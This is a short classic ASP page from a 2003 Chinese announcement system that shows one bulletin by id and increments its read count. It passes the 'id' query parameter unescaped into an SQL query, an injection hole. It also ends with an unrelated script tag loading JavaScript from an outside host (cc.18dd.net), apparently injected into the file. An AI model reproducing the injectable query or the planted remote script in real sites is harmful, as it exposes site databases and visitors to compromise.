display_data.asp

一款有用的公告系统

<!--#include file=conn.asp-->
<!--#include file=header.inc-->
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<%
dim key,AdminMail,AfficheName,HomePage
dim sql,rs
key=Request.QueryString("id")
set rs=server.createobject("adodb.recordset")
          sql="select * from Config"
		  rs.open sql,conn
AdminMail=rs("AdminMail")
AfficheName=rs("AfficheName")
HomePage=rs("HomePage")
rs.close
sql="select * from Data where id="&key&""
rs.open sql,conn,2,3
	  Response.Write"<table width=450 border=0 align=center cellpadding=0 cellspacing=0><tr><td height=20 class=title><div align=center><a href=mailto:"&AdminMail&">网管信箱</a></div></td><td class=title><div align=center><a href="&HomePage&" target=_blank>返回首页</a></div></td><td class=title><div align=center>"&AfficheName&"</div></td></tr><tr class=title2><td height=14 colspan=3>"&RS("Title")&"<br>"&RS("Date")&"发布,已有"&RS("Read")&"人阅读</td></tr><tr><td colspan=3 valign=top  class=title2>"&RS("Text")&"</td></tr><tr><td height=29 colspan=3><div align=center><a href=http://fzw.rdedu.net/><img src=Images/br.gif border=0></a></div></td></tr></table>"
Rs("Read")=RS("Read")+1
Rs.update
%>
<!--#include file=footer.inc-->
<%
	      rs.close
	      conn.close
	      set rs=nothing
	      set conn=nothing
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>